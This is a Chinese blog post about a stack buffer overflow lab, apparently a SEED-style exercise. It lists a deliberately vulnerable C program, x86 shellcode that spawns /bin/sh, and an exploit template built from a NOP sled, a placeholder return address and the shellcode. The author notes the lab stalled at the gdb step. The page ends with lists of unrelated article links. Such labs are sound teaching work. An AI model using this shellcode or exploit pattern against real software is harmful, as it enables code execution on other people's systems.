缓冲区溢出实验:

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

首先对于实验楼先进行一定的预处理

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h> int bof(char *str)
{
char buffer[12]; /* The following statement has a buffer overflow problem */
strcpy(buffer, str); return 1;
} int main(int argc, char **argv)
{
char str[517];
FILE *badfile; badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str); printf("Returned Properly\n");
return 1;
}

#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h> char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
; void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100 /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

gdb时出现问题,实验楼无法进行下去

最新文章

  1. easyUI在IE浏览器中列表不显示
  2. iOS之2016面试题二
  3. jquery一些基本函数
  4. 数据库mysql优化方案
  5. (转载)word-wrap,word-break,white-space,text-overflow的区别和用法
  6. hdoj 1008 Elevator
  7. css 去除input 获取焦点的蓝色边框
  8. 手把手教你把VIM改成一个集成开发环境
  9. Windows最常用的几个网络CMD命令总结
  10. 菜鸟学Java(十九)——WEB项目測试好帮手,Maven+Jetty
  11. testNg自动化,读取excel的数据
  12. Java面试02|Java集合
  13. Confluence 6 升级完成后的检查
  14. 开发框架模块视频系列(2)-Winform分页控件介绍
  15. Tomcat8源码笔记(四)Server和Service初始化
  16. python有序字典
  17. Luffy之Xadmin以及首页搭建(轮播图,导航)
  18. 树莓派进阶之路 (024) - windows远程桌面连接树莓派通过xrdp服务(转)
  19. hdu 3072 Intelligence System(Tarjan 求连通块间最小值)
  20. testng日志 TestListenerAdapter

热门文章

  1. 使用nginx访问FastDFS
  2. web存储cookie会出现两个相同键值问题
  3. IDEA运行报错 Error:java: 错误: 不支持发行版本 xx
  4. 写给程序员的机器学习入门 (二) - pytorch 与矩阵计算入门
  5. C++primer(第五版)Sales_item.h头文件
  6. Nginx知多少系列之(三)配置文件详解
  7. 多转一ETH(ERC20代币汇集)
  8. React Native简史
  9. pgsql的使用
  10. 【python实现卷积神经网络】开始训练